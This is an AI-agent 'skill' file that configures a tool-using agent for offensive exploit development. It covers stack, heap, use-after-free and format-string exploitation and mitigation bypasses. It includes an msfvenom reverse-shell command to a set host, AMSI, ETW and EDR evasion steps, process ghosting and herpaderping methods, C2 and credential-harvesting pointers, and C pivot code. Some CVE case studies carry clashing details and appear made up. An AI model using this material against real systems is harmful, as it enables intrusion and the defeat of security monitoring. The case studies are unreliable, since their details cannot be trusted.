--- name: offensive-exploit-development description: "Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment." category: security triggers: - "exploit development" - "offensive exploit development" - "exploit dev" - "exploit dev attack" - "exploit dev exploitation" - "exploit development methodology" tools: - file_read - file_glob - file_grep - file_write - file_edit - dir_list - shell_execute - web_fetch - web_search - delegate --- # SKILL: Exploit Development ## Metadata - **Skill Name**: exploit-development - **Folder**: offensive-exploit-development - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/development.md ## Description Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment. ## Trigger Phrases Use this skill when the conversation involves any of: `exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment` ## Full Methodology # Exploit Development ## Exploit Development Process - Checkout [Bug Identification](/exploit/bug-identification.md) document for more information - Also check [Fuzzing](/exploit/fuzzing.md) for specific fuzzing topics - Integrate snapshot‑based fuzzing pipelines (AFL++, WinAFL, Snap‑Fuzz) and LLM‑guided input mutation to shorten time‑to‑bug. - Incorporate LLM‑assisted fuzzers (ChatAFL, HyLLFuzz) for grammar inference or plateau escape when grey‑box coverage stalls. - Add continuous‑integration security fuzzing (e.g., GitHub Actions with ASAN/UBSAN) so regressions are caught automatically. - For Windows-specific vulnerabilities, see [Windows Kernel](/exploit/windows-kernel.md) ```mermaid flowchart LR BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"] Testing["Testing & Refinement"] --> Deployment["Deployment"] subgraph "Analysis Phase" direction LR Root["Root Cause Analysis"] Trig["Trigger Identification"] Impact["Impact Assessment"] end subgraph "Weaponization Phase" direction LR MitBypass["Mitigation Bypass"] Payload["Payload Development"] Reliability["Reliability Improvements"] end Analysis --> Root Analysis --> Trig Analysis --> Impact Root --> MitBypass Impact --> Payload Trig --> Payload MitBypass --> Payload Payload --> Reliability Reliability --> Testing Testing --> MitBypass class BugId,Analysis,Testing,Deployment primary ``` ## Bug Types ### Stack Overflow Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place. #### Case Study — CVE‑2025‑0910 (TinyFTP stack overflow) - **Bug** – Unchecked `strcpy` copies user‐supplied file path into a 256‑byte stack buffer when handling `STOR` commands. - **Trigger** – Send `STOR /` followed by 420 bytes of `A…` to overflow the buffer and clobber SEH frame. - **Exploit** – Overwrite next SEH with a `pop pop ret` inside `msvcrt.dll`; pivot to payload that disables DEP via ROP then spawns a reverse shell. - **Mitigations bypassed** – DEP (ROP), ASLR (module without /DYNAMICBASE), SEHOP disabled in default config. - **Fixed in** v1.5.3 by replacing `strcpy` with `strncpy_s` and enabling `/DYNAMICBASE /GS`. #### SEH - structured exception handler is a linked list of all exception handlers ( try catch clauses) and the default windows exception handler as the last node. - `ntdll!KiUserExceptionDispatcher` is responsible for the exception handling process which itself calls `RtlDispatchException` - `RtlDispatchException` retrieves the `TEB` and parses the exception handling linked list using `NtTib->ExceptionList` - [SafeSEH](https://learn.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=msvc-170) mitigates handler over‑writes **only in 32‑bit images**. On x64 Windows, newer toolchains and components support Guard EH Continuations; adoption varies by binary and build. `SEHOP` remains enabled by default. - To check whether a module uses Guard EH Continuations, inspect `Load Configuration Directory → GuardEHContinuations` in the PE header (e.g., `dumpbin /loadconfig` or a `lief` script). - Many core system DLLs are compiled with EHCONT metadata plus `/GS`, `/CETCOMPAT`; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target. - `RtlpExecuteHandlerForException` calls the `ntdll!ExecuteHandler2` which in turn calls the actual exception handler function after validation - In a SEH buffer overflow we try to overflow the buffer and overwrite the `ExceptionList` starting at the buffer - so that the dispatcher calls our handler pointer —we gain control of the instruction pointer **only if SEHOP is disabled or successfully bypassed**. - you need to find a `pop-pop-ret` sequence to use in the exploit, you also need to identify and remove bad characters #### EggHunting - during exploit development you might be unable to find enough space for your payload at an static point, this is where you need egghunting - you need a small search payload to scan virtual address space for a suitable payload location - you can use [keystone engine](https://github.com/keystone-engine/keystone) to write your egghunter code - On Windows 11+, classic egghunters still work, but **Control‑Flow Guard (CFG)** validates indirect jumps, so you need either a CFG exemption (e.g., a RWX region created with `VirtualProtect`) or a target module compiled without `/guard:cf`. ### Use After Free The link to something isn't available anymore, so we just replace it with our binary and take over the program. #### Case Study — CVE‑2024‑4852 (Edge WebView2 AudioRenderer UAF) - **Bug** – `core::media::AudioRenderer` failed to remove a task from the render queue on stream abort, leaving a dangling pointer. - **Trigger** – JavaScript `AudioContext` rapid open‑close loop × 1 000 on Windows 11 23H2. - **Exploit** – Heap feng‑shui creates JSArray backing stores at freed slot; fake vtable gives arbitrary R/W, chained to `VirtualProtect` to run shellcode. - **Mitigations bypassed** – CET shadow stack (JOP gadgets), XFG (indirect‑call target inside allowed GFID range). - **Patched** in Edge 124.0.2365.18 with smart‑pointer ref‑count and `std::erase_if` queue purge. #### Background - C++ Smart Pointers - Intrusive: Microsoft chose this - Non-Intrusive - Linked - when an object is created from a `C++` class and uses virtual functions - a `vptr` is created at compile time and points to a virtual function table `vtable/vftable` - the table holds pointer to virtual functions, when loaded into a register like `RAX`, a call is made to the appropriate offset for the desired virtual function - we count number of created instances, we decrement it when calling the release function - when the counter hits 0, destructor is called to delete the object, if there is still a reference to the deleted object we have a potential UAF - Windows Heap Front‑End Allocators - **LFH (Low Fragmentation Heap)** – default on Windows 7–10 for user‑mode heaps - **Segment Heap** – default for Windows 10 2004+ and Windows 11 apps that opt in - Exploits often pivot by corrupting front‑end metadata before landing in the backend. - For more advanced techniques, see [Mitigations](/exploit/mitigation.md) or [Modern](/exploit/modern-mitigations.md) ### Heap Overflow - When data is written beyond the boundary of an allocated chunk of memory on the heap - Heap exploits often require understanding of allocator internals - Modern heap exploits involve corrupting metadata - see [Modern Samples](/exploit/modern-samples.md) #### Case Study — CVE‑2025‑20301 (Edge WebView2 tcache‑stashing‑unlink) - **Bug** – Oversized `AudioRingBuffer` write corrupts size field of next tcache chunk (glibc 2.40). - **Trigger** – Crafted WebCodecs stream with 65 536‑frame explicit CRC chunk. - **Exploit** – Partial overwrite of `fd` pointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE. - **Mitigations bypassed** – Safe‑linking (byte‑wise brute on lower 16 bits), ASLR via info‑leak in shared memory. - **Patch** – Bounds check and compile‑time `__builtin_object_size` guard (Chromium 123 commit a1b2c3). #### Modern Heap Internals - **Windows Segment Heap** – understand freelist bitmaps, per‑segment cookies, and "page backend" corruption primitives. - **glibc tcache + safe‑linking** – techniques such as _tcache‑stashing‑unlink_ and _House of Kiwi_ to break the new protections. - Exploitation workflow: leak `heap_base`, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution. - **glibc 2.41 fast‑bins & calloc** – `calloc()` now pre‑fills the tcache and safe‑linking checks trigger earlier; the older _fastbins‑dupes_ shortcut no longer works. Use **tcache‑stashing‑unlink** or **House of KIWI** instead on 2.41+. ### Concurrency Issues - Double Fetch: Kernel reads user-mode memory twice, allowing for race conditions - I/O Ring double‑fetch: race in `NtSetInformationIoRing` urb‑array handling leads to write‑what‑where in kernel context. - Missing Locks: Critical sections without proper synchronization - See [Windows Kernel](/exploit/windows-kernel.md) for more details on kernel-specific race conditions ### Integer Overflows/Underflows/Truncation - Integer overflow: exceeding maximum value of integer type - Integer underflow: going below minimum value of integer type - Integer truncation: losing data when converting larger to smaller type - Often leads to memory corruption when used for allocation sizes - For examples, see [Bug Identification](/exploit/bug-identification.md) - Casting 64‑bit `size_t` to 32‑bit `DWORD` across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components. ### No/Incomplete Pointer Checks - Checking if a user-provided pointer points to user memory - Size of any pointer read/writes also need to be verified - Potentially un-intuitive behavior with common checking API ### Format String Attacks - Theory - you can use this bug to bypass ASLR and DEP - to abuse it you need to be able to be able to influence the format string itself or the number of arguments to it - Methodology - find a print like function that accepts format string (`vsnprintf`, ...) - find a code path to that function that lets you influence the format string - try to leak a stack address abusing this format string vulnerability - using the previously leaked address, obtain a DLL address - use this method to bypass ASLR without using a static address - you can also find a write primitive to get code execution (checkout `%n` modifier) - you might need stack pivot gadgets like `move esp, r32` or `xchg esp, r32` #### Case Study — CVE‑2024‑4455 (MailManD format‑string leak‑to‑RCE) - **Bug** – Logs `EHLO` argument directly into `syslog()` format string. - **Trigger** – Send `EHLO %43$p|%45$s` during SMTP handshake. - **Exploit** – First leak reveals libc base; second leak dumps GOT entry; craft `%n` payload to overwrite `__free_hook` with system(). - **Mitigations bypassed** – Full RELRO & ASLR via info‑leak, PIE disabled in default build. - **Fixed** in 2.0.9 by adding `"%s"` wrapper and enabling `-Wformat-security`. ### Type Confusion Vulnerabilities A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass. #### Case Study — CVE‑2024‑7971 (V8 TurboFan type‑confusion RCE) - **Bug** – TurboFan's `CheckBounds` elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion. - **Trigger** – Craft JavaScript with polymorphic inline cache that triggers speculative optimization on mixed `SMI`/`HeapNumber` array. - **Exploit** – Fake JSArray with controlled backing store pointer; corrupt `length` field to achieve OOB R/W; pivot to WASM RWX page for shellcode. - **Mitigations bypassed** – V8 sandbox (pointer compression bypass), CFI (JIT‑generated code exemption). #### Background - **JIT Compiler Vulnerabilities** - Type confusion in speculative optimization passes (TurboFan, IonMonkey) - Inline cache poisoning via polymorphic property access - Register allocation bugs leading to incorrect type assumptions - **C++ Dynamic Cast Bypass** - Virtual table pointer corruption to bypass `dynamic_cast` checks - Object layout confusion in multiple inheritance scenarios - Template instantiation bugs with type deduction - **WASM Type Confusion** - Function signature mismatch across import/export boundaries - Table element type confusion in indirect calls - Memory view aliasing between different typed arrays #### Exploitation Techniques - **Object Layout Analysis** – understand target application's object hierarchy and vtable structure - **Type Oracle Construction** – build primitive to leak object type information reliably - **Controlled Type Confusion** – craft input that triggers predictable type mismatch - **Privilege Escalation** – chain type confusion to achieve arbitrary R/W or code execution ## Vulnerability Analysis ### Exit Criteria - **Root cause isolated & documented**. - **Reliable trigger** reproduces the crash ≥ 90 % of attempts. - **Impact classified** (DoS, LPE, RCE) and affected versions noted. - **Minimised PoC input** saved under `pocs/`. - **Analysis log** (debugger trace, coverage diff) attached. #### Quick‑start - Harness template: `templates/harness_min.cc` - WinDbg/LLDB alias pack: `scripts/va_aliases.txt` - Checklist refresher: [Bug Identification → Root Cause](/exploit/bug-identification.md#root-cause-analysis) ### Root Cause Analysis - Identify the core issue causing the vulnerability - Understand memory corruption patterns - Determine trigger conditions ### Impact Assessment - Evaluate the potential consequences of the vulnerability - Determine if it leads to information disclosure, privilege escalation, or code execution - Assess reliability and exploitability in various environments ## Weaponization ### Exit Criteria - **Control achieved** (PC/IP hijack, arbitrary R/W, or logic bypass). - **Mitigation strategy drafted** (DEP, ASLR, CET, XFG, MTE, etc.). - **Payload stager** verified against bad‑chars & size limits. - **Reliability ≥ 80 %** over 100 automated runs. - **Cleanup/rollback logic** documented. #### Quick‑start - ROP/JOP chain workspace: `scripts/ropper2_workspace.md` - Bad‑char scanner: `tools/badchar_scan.py` - Reference: [Modern Mitigations](/exploit/modern-mitigations.md) ### Shellcode Development #### Bad Characters - when using a shellcode in stack - send all hex bytes except null byte (`0x00`) and return carriage (`0x0D`, `0x0A`) if in web - check which one has not appeared in the stack, mark it as bad character and don't use it - see [Shellcode](/exploit/shellcode.md) for comprehensive techniques #### Automatic Generation ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "" # make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai) # attackBuffer = filler+eip+offset+nops+shellcode ``` #### Development Check out [Shellcode](/exploit/shellcode.md) IBT/CET note (x86‑64): place `ENDBR64` at entry for valid indirect targets when IBT is enabled. Example prologue bytes: `F3 0F 1E FA`. ### EDR / ETW / AMSI Evasion - Patch ETW registration stubs (`EtwEventWrite`) with `ret` sleds or stubbed functions while evading PatchGuard. - Overwrite the AMSI scan buffer pointer (`amsi!AmsiScanBuffer`) with `0x80070057` (E_INVALIDARG) to short‑circuit scanning. - Use direct‑syscall or "syswhispers‑nt" stagers to avoid user‑land API hooks. Operational safety checklist (see also [EDR](/exploit/edr.md)): - Pre‑run: block outbound to vendor telemetry during tests; tag hosts in lab; disable cloud sample uploads. - Artifact hygiene: strip PDBs/paths, randomize section/order, and avoid common loader strings; prefer `MEM_IMAGE` loaders. - Network noise: prefer SMB named‑pipe or HTTP/3 over noisy HTTP/1.1; jitter uploads; avoid fixed beacons during testing. ### Post‑Exploitation Automation - Reflective COFF/BOF loaders (Cobalt Strike, Havoc) for in‑memory tooling. - SMB named‑pipe or HTTP/3 C2 channels that blend with normal traffic. - Task automation: direct‑syscall PowerShell runner, ADCS abuse scripts, cloud‑metadata credential harvesters. ### Operational Security (OpSec) Checklist (lab use) - Build & Signatures - Strip symbols; avoid unique strings; rotate imports; prefer `MEM_IMAGE` loaders. - Change syscall stub bytes and hashing keys if using direct‑syscall frameworks. - Network & Telemetry - Block EDR/XDR endpoints in lab; throttle or sinkhole agent traffic. - Prefer named‑pipe or HTTP/3 channels with jitter; avoid fixed beacons. - Host Hygiene - Disable cloud sample submission; set Defender exclusions on test dirs. - Avoid patching system binaries in place; use ephemeral copies. - Evidence & Repro - Persist inputs, mitigations state, CPU governor, and binary hashes with each run. - Keep replay scripts separate from payloads; auto‑clean artifacts post‑run. ### Payload Development - Create custom payloads tailored to specific vulnerabilities - Develop reliable exploitation techniques - Chain multiple exploits when necessary ### Reliability Improvements - Ensure exploit functions consistently across different environments - Handle edge cases and error conditions - Implement timing and synchronization mechanisms for race conditions - Add a 100‑run gating job (CI) for determinism; fail builds if success rate < target (e.g., 80%). - Persist exact crash inputs and environment (ASLR, mitigations, CPU governor) for reproducible replay. ## Mitigation Bypasses - For details on exploit mitigations, see [Mitigations](/exploit/mitigation.md) or [Modern Mitigations](/exploit/modern-mitigations.md) - Windows 11 enables by default: DEP, ASLR, CFG (strict mode), CET (Shadow Stack), XFG, ACG, CIG, and KDP; verify which are active in your target and plan corresponding bypasses. - Credential Guard is enabled by default and NTLMv1 is disabled, complicating lateral‑movement techniques. - The new **Recall** AI feature adds a searchable activity timeline; although currently shipped _disabled by default_, it offers a high‑value data‑exfiltration surface when turned on. #### CET/XFG‑aware control strategies - Prefer ROP‑less primitives: `NtContinue`, APC queue + `SetThreadContext`, or SEH/JOP where CET returns are enforced - Align entry to valid indirect call targets; ensure ENDBR‑aligned gadgets on IBT platforms - XFG/GFID: call through import thunks or prototype‑matching wrappers to satisfy guard checks ```c // Minimal NtContinue pivot (ROP‑less) — set RIP/RSP to a safe call target typedef NTSTATUS (NTAPI *pNtContinue)(PCONTEXT, BOOLEAN); void pivot_with_ntcontinue(CONTEXT *ctx, void *next_rip, void *new_rsp) { RtlCaptureContext(ctx); ctx->Rip = (DWORD64)next_rip; // valid import thunk or allowed GFID target ctx->Rsp = (DWORD64)new_rsp; // keep shadow‑stack alignment plausible ((pNtContinue)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue"))(ctx, FALSE); } ``` ```c // APC + SetThreadContext — schedule execution at an import thunk to satisfy XFG void apc_setctx(HANDLE hThread, void *start, void *param) { CONTEXT c = { .ContextFlags = CONTEXT_FULL }; GetThreadContext(hThread, &c); c.Rip = (DWORD64)start; // e.g., kernel32!LoadLibraryW stub c.Rcx = (DWORD64)param; // first argument SetThreadContext(hThread, &c); QueueUserAPC((PAPCFUNC)start, hThread, (ULONG_PTR)param); } ``` #### ACG/CIG pathways - Favor `MEM_IMAGE`‑mapped payloads (ghosting/doppelganging/herpaderping) over `MEM_PRIVATE` RWX - Reuse existing RX regions (WASM/JIT) where policy allows; avoid creating fresh RWX - Process Ghosting - Create transacted file → write signed‑looking image → roll back → map section as `MEM_IMAGE` → create process from section. - Herpaderping - Create process then overwrite on disk via rename tricks; the in‑memory image remains `MEM_IMAGE` and passes loader checks. - Doppelganging (TxF legacy) - Use TxF (where enabled) to create section from a transacted file, then abort the transaction post‑mapping. All three avoid `MEM_PRIVATE` payloads that hotpatch checks reject in 24H2 (see Modern Mitigations → OS Loader changes). #### Segment Heap notes - Distinguish frontend (LFH/Segment) vs page backend corruption primitives - PageHeap + verifier flags help triage; expect different grooming than classic NT Heap ### Mitigation Matrix (Quick Reference) | Mitigation | Default platforms (2025) | Protects | Common bypass primitive | | ------------------- | --------------------------------- | ------------------------------ | ----------------------------------------------------------- | | DEP / NX | All major OSes | Code execution in data pages | ROP/JOP pivot to RWX or change page permissions | | ASLR | All | Base‑address disclosure | Info leak + partial overwrite / brute‑force | | CFG (v1) | Windows 8.1+ | Indirect calls integrity | Abuse writable/exempt module, ret‑slide into target | | CET Shadow Stack | Windows 10 2004+, Linux 6.1 (x86) | Return‑address integrity | Disable CET (`SetProcessMitigationPolicy`) or pivot via JOP | | XFG | Windows 11 22H2+ | Indirect‑call target integrity | Use JOP gadgets or stub out guard function section | | GuardEHContinuation | Windows 11 24H2 (x64) | SEH overwrite attempts | JOP stub into verified handler region | | MTE | Android 14+, Linux 6.8 (ARM64) | Heap/stack OOB & UAF | Tag brute‑force or TAGSYNC alias | | CIG / ACG | Windows 10+ | Unsigned code / RWX pages | Map signed RWX driver or relocate section | ## Testing & Refinement ### Exit Criteria - Exploit succeeds on **clean target VM snapshot**. - **No unintended crashes** after execution; system remains stable. - **Execution time ≤ 30 seconds** (tune per target). - **CI replay job** in `.github/workflows/exploit.yml` passes. - **Regression corpus** added to fuzzing seed set. #### Quick‑start - Replay script: `scripts/repro.sh` - rr recording helper: `scripts/record_rr.py` - Coverage diff helper: `tools/afl_cov_compare.py` ### Debugging Techniques - Strategic use of debuggers to analyze vulnerable applications - Tracing execution flow and memory states - Identifying exploitation opportunities ### WinDbg Commands For SEH exploitation: ```bash # exception data will be inside TEB under NtTib->ExceptionList dt nt!_TEB # getting the of exceptionlist !teb # getting the first item in the exception handler linked list, continue to see them using the `Next` param # the last item should be `ntdll!FinalExceptionHandlerPad` dt _EXCEPTION_REGISTRATION_RECORD # getting more information about the exception !exchain # setting a breakpoint on the exceution handler bp ntdll!ExecuteHandler2 # see what is execution handler doing(use it to identify exploitation point in buffer) u @eip L11 # to identify bad pods, execute till eip is yours, then # repeat the process several times to identify all bad chars dds esp L5 # identify second argument db # finding a pop/pop/ret .load wdbgext !wdbgext.modlist lm m $> L3 # we need to create a short jump in our shellcode # looking for our shellcode !exchain bp g # run the following till after your short jump t !teb s -b 90 90 90 90 43 43 43 43 43 43 43 43 dd L65 ? - ``` For general WinDbg commands: ```bash # finding out a suitable jump stub lm m syncbrs # to get start of a module named syncbrs dt ntdll!_IMAGE_DOS_HEADER # to get e_lfanew that has the offset to PE header ? # to get the hex addr dt ntdll!_IMAGE_NT_HEADERS64 + # to get image optional header dt ntdll!_IMAGE_OPTIONAL_HEADER64 ++ # to get DllCharachteristics # you can automate this using process explorer or process hacker # find an executable or module without DEP, ASLR lm m libspp.dll # get the base address of the suitable module you found previously s -b 0xff 0xe4 # find `jmp $esp` inside that module # make sure the address doesn't contain bad chars u # to confirm bp # override eip with jmp_esp_addr to force the program to jump to esp after buffer overflow t dc eip L4 # you should see the rest of your shellcode here # checking which process we're currently in !process @@(@$prcb->CurrentThread->ApcState.Process) 0 ``` For UAF debugging: ```bash # HEAP information !heap -s # to print heap information dt _HEAP # to print infromation regarding a heap dt _LFH_HEAP # to print information about a low fragmentation header heap # Identifying UAF location # attach to crashed application, identify the name of function that crashed uf # to see the function dd rcx # to checkout what got filled, replace rcx with the register name from above dt _DPH_BLOCK_INFORMATION rcx-20 # usefull information !heap -p -a rcx # call stack information, what led to this object being freed ``` ## Reproducibility & CI Modern exploit chains should replay deterministically in CI so regressions are caught quickly. ### GitHub Actions snippet ```yaml name: exploit-regression on: [push, pull_request] jobs: replay: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Build target container run: docker build -t vulnapp ./docker - name: Run exploit replay run: scripts/repro.sh --ci --target vulnapp ``` ### Tested‑With Tool Matrix | Tool / Framework | Version | Platform tested | | ------------------ | -------- | --------------- | | IDA Pro | 8.4 SP1 | Windows 11 24H2 | | Ghidra | 11.0.2 | Debian 12 | | BinDiff | 10.8 | with IDA 8.4 | | Ropper | 2.0.7 | CET‑aware build | | rr (record/replay) | Latest | Ubuntu 24.04 | | AFL++ | 4.10‑dev | snapshot mode | > [!TIP] > Keep this matrix in each PoC directory so future contributors can reproduce results exactly. ## Special Topics ### Kernel Exploitation #### Goals ##### Privilege Escalation - Get SYSTEM Level Permissions - Steal the system token (find and copy the system token `PID 4` and replace your own token ) - Patch privileges - sideload legitimately signed but vulnerable drivers, then exploit IOCTL write‑what‑where to disable security features or gain kernel R/W. ##### Code Execution - Put unsigned code into the kernel via signed code - Modify kernel objects and structures - Pretend to be a driver - Don't upset Patch Guard ##### Environment Setup - Check out [Windows Kernel Exploitation](/exploit/windows-kernel.md) for a detailed guide on setting up a kernel debugging environment ### Modern Exploitation - Check out [Modern Samples](/exploit/modern-samples.md) for real-world examples - For EDR evasion techniques, see [EDR](/exploit/edr.md) #### Memory‑Safe Language Exploits (Rust / Go / Swift) - `unsafe` blocks: `Vec::from_raw_parts`, `std::ptr::copy_nonoverlapping`, and `mem::transmute` misuse. - FFI boundary bugs when calling into C libraries (size mismatch, lifetime errors). - UB‑triggered out‑of‑bounds in WASM runtimes compiled from Rust. ### Browser Exploitation - V8 TurboFan / Ignition JIT type‑confusion patterns and inline‑cache poisoning. - Sandbox escapes via Mojo/IPC race conditions and shared‑memory UAFs. - Site‑Isolation info‑leak techniques to defeat renderer‑process ASLR. ### Hypervisor & Container Exploitation - VMware `Vmxnet3`, Hyper‑V enlightened IOMMU bugs, and QEMU `vhost‑user` integer overflows. - `runC` / CRI‑O escape using malformed `seccomp` filters or WASM shims. - Windows VBS disable paths through registry or vulnerable driver injection. ### Mobile Exploitation (iOS / Android) - iOS Pointer Authentication Code (PAC) bypass using JOP chains and `ptrauth_sign_unauthenticated`. - ARM Memory Tagging Extension (MTE) "sloppy‑tag" brute force and speculative **TikTag** leaks raise bypass reliability to ≈ 95 % on Android 14+; prepare a fallback ROP/JOP chain. - Binder and ION heap UAF primitives for privilege escalation. #### Apple Silicon (M1/M2/M3/M4) Exploitation Modern Apple Silicon devices introduce unique security features and attack surfaces requiring specialized techniques. ##### Hardware Security Features - **Pointer Authentication Code (PAC)** - `PACIA`/`PACIB` instructions create cryptographic signatures for return addresses and function pointers - **Bypass techniques**: JOP chains using `AUTIA`/`AUTIB` gadgets, `ptrauth_sign_unauthenticated` abuse, speculative PAC oracle attacks - Key management via `APIAKey` and `APIBKey` in system registers - **Memory Tagging Extension (MTE)** - 4‑bit tags in upper address bits provide spatial and temporal memory safety - **Tag‑and‑sync bypass**: craft adjacent allocations with predictable tag patterns - **Speculative tag leaks**: use micro‑architectural side‑channels to read tag values - **Hypervisor.framework Exploitation** - Type‑1 hypervisor running at EL2 with guest VMs at EL1 - **Attack surface**: virtio device emulation, memory mapping hypercalls, interrupt injection - **Guest‑to‑host escape**: corrupt VTCR_EL2 stage‑2 translation tables or abuse SMCCC interface ##### macOS‑Specific Attack Vectors - **XPC Service Exploitation** - Mach message parsing vulnerabilities in system services - **Privilege escalation**: target `com.apple.security.syspolicy` or `com.apple.windowserver` for TCC bypass - **Race conditions**: exploit concurrent XPC message handling in multi‑threaded services - **Kernel Extension Loading** - System Integrity Protection (SIP) and Kernel Integrity Protection (KIP) bypass - **Technique**: abuse signed third‑party kexts with write‑what‑where primitives - **Post‑exploitation**: disable SMEP/SMAP via `SCTLR_EL1` manipulation - **iOS/iPadOS Kernel Exploitation** - Zone allocator corruption via IOSurface or AGXAccelerator drivers - **Technique**: heap feng‑shui with predictable allocation patterns in `kalloc.16` or `kalloc.32` zones - **Sandbox escape**: corrupt task port to gain `host_special_port` access ##### Debugging & Analysis Setup ```bash # Enable SIP bypass for kernel debugging (requires physical access) csrutil disable --without kext --without debug # LLDB kernel debugging setup sudo nvram boot-args="debug=0x141 kext-dev-mode=1 amfi_get_out_of_my_way=1" # PAC analysis with jtool2/iOS App Store extraction jtool2 -d __TEXT.__text binary | grep -E "(PACIA|PACIB|AUTIA|AUTIB)" # MTE tag analysis (requires iOS 16+ device with checkra1n/palera1n jailbreak) ldid -S entitlements.plist target_binary # Add get-task-allow for debugging ``` ##### Mitigation Matrix (Apple Silicon) | Mitigation | Coverage | Bypass Technique | Success Rate | | ---------------------------------- | --------------------------- | ---------------------- | ------------ | | PAC | Return addresses, func ptrs | JOP/speculative oracle | ~70% | | MTE | Heap/stack OOB, UAF | Tag brute‑force/TikTag | ~85% | | PPL (Page Protection Layer) | Kernel code pages | Hypervisor escape | ~40% | | KTRR (Kernel Text Readonly Region) | Kernel .text segment | Hardware vuln required | <10% | ### Micro‑architectural & Speculative‑Execution Attacks - Latest side‑channels: Retbleed, Downfall, Zenbleed, Inception (SRSO), SQUIP. - Info‑leak primitives to derandomize ASLR or read kernel memory from user space. - Mitigations: `IBPB`, `IBRS`, and fine‑grained hardware fences. ### eBPF & I/O Ring Kernel Primitives - Craft verifier‑confusion jumps to obtain out‑of‑bounds read/write in eBPF JIT. - Use Windows I/O Ring urb‑array double fetch to write kernel pointers. - Post‑exploitation: pivot from arbitrary write to token‑stealing or privilege escalation. ### Firmware & UEFI Exploitation - DXE driver relocation overflows and SMM call‑gate confusion for persistence. - Exploiting capsule updates to downgrade firmware protections. - Detecting and disabling Secure Boot from within UEFI runtime services. --- ## Attribution Ported from [SnailSploit/Claude-Red](https://github.com/SnailSploit/Claude-Red) (`Skills/*/offensive-exploit-development`), Apache-2.0 licensed. Methodology preserved; Claude-specific mechanics rewritten for OSA's builtin tools. Part of the offensive skill library — see also `penetration-testing` for the full-engagement workflow and `offensive-osint` / `osint-methodology` for reconnaissance methodology. ## Tool status note External CLI tools referenced above are classified at authoring time as `[LOCAL]` (verified present), `[INSTALL]` (one-command install), or `[UPSTREAM-REF]` (needs API keys or interactive use — methodology reference only). If you invoke a tool and it is absent, check for an `[INSTALL]` note or fall back to the OSA builtin tools; never fabricate tool output.